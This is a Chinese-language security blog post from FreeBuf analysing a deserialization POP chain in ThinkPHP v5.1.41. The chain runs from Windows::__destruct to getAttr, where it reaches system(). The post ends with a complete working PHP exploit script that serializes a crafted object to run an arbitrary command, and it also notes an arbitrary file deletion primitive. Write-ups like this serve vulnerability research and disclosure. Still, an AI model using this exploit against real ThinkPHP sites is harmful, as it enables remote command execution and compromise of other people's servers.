freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Thinkphp v5.1.41反序列化漏洞分析及EXP
2021-04-16 21:38:26

HW期间,为防范钓鱼,即日起FreeBuf将取消投稿文章的一切外部链接。给您带来的不便,敬请谅解~

TP5141 反序列化

# Author: 4ut15m
# Date: 2021年4月11日 22:45:46
# Version: thinkphp v5.1.41LTS
# Install: composer create-project topthink/think tp5141 5.1.41 --prefer-dist

晚上回顾tp以前反序列化漏洞的时候发现的,好像是一条新的POP链,没有在网上看见其他师傅发表这条链

POP链

Windows->__destruct	-->Windows->removeFiles		-->Conversion->__toString		-->Conversion->toJson		-->Conversion->toArray		-->Attribute->getAttr


Conversion->Model
Model->Pivot

先看命令执行处,若$closure$value都可控,即可执行命令

image-20210416164159181.png

POP链首和tp5.0反序列化漏洞起点一样,Windows->__destruct

image-20210416163417422.png

Windows->removeFiles,控制Windows->files可以删除任意文件。

image-20210416163508084.png

file_exists函数可触发__toString魔术方法,找到Conversion的toString

image-20210416163656592.png

image-20210416163714317.png

跟进Conversion->toArray,$this->append可控

image-20210416163823622.png

跟进getRelation,使得该方法返回null即可进入if

image-20210416164425792.png

跟进getAttr,发现关键点

image-20210416164137045.png

要使代码执行到493行,需要设置$this->withAttr[$fileName].$closure$this->withAttr[$fileName]控制,$this->withAttr可控,$fileName由我们参数$name即我们传入的$this->append的key控制,也是可控的。

value由getData得到

image-20210416165525936.png

代码第269行,如果$this->data中存在$name键,就将$this->data[$name]的值赋给value,$this->data与$name皆可控,故value可控

整理思路如下

Conversion->append = ["4ut15m"=>[]]
Conversion->relation = false
Conversion->withAttr = ["4ut15m"=>"system"]
Conversion->data = ["4ut15m"=>"cmd"]			//要执行的命令

因为convertion是trait类,所以只要找到一个使用了conversion的类即可,全局搜索conversion找到Model类

image-20210416170012392.png

由于Model是抽象类,我们得找到Model的实现类,全局搜索找到Pivot

image-20210416170153151.png

至此可以编写exp

Windows->files = new Pivot()
Pivot->relation = false
Pivot->data = ["4ut15m"=>"cmd"]		//要执行的命令
Pivot->withAttr = ["4ut15m"=>"system"]

exp

<?php
namespace think;
abstract class Model{
    private $data = [];
    private $withAttr = [];
    protected $append = ['4ut15m'=>[]];

    public function __construct($cmd){
        $this->relation = false;
        $this->data = ['4ut15m'=>$cmd];		//任意值,value
        $this->withAttr = ['4ut15m'=>'system'];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{
}


namespace think\process\pipes;
use think\model\Pivot;
class Windows{
    private $files = [];

    public function __construct($cmd){
        $this->files = [new Pivot($cmd)];		//Conversion类
    }

}

$windows = new Windows($argv[1]);
echo urlencode(serialize($windows))."\n";


?>

在tp中加一个反序列化点

image-20210416170610137.png

image-20210416170432452.png

1618803897_607cfcb99478d9429c758.png!small?1618803898173

1618803877_607cfca51d738c722b354.png!small?1618803877600

# ThinkPHP5.1 # thinkphp反序列化
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录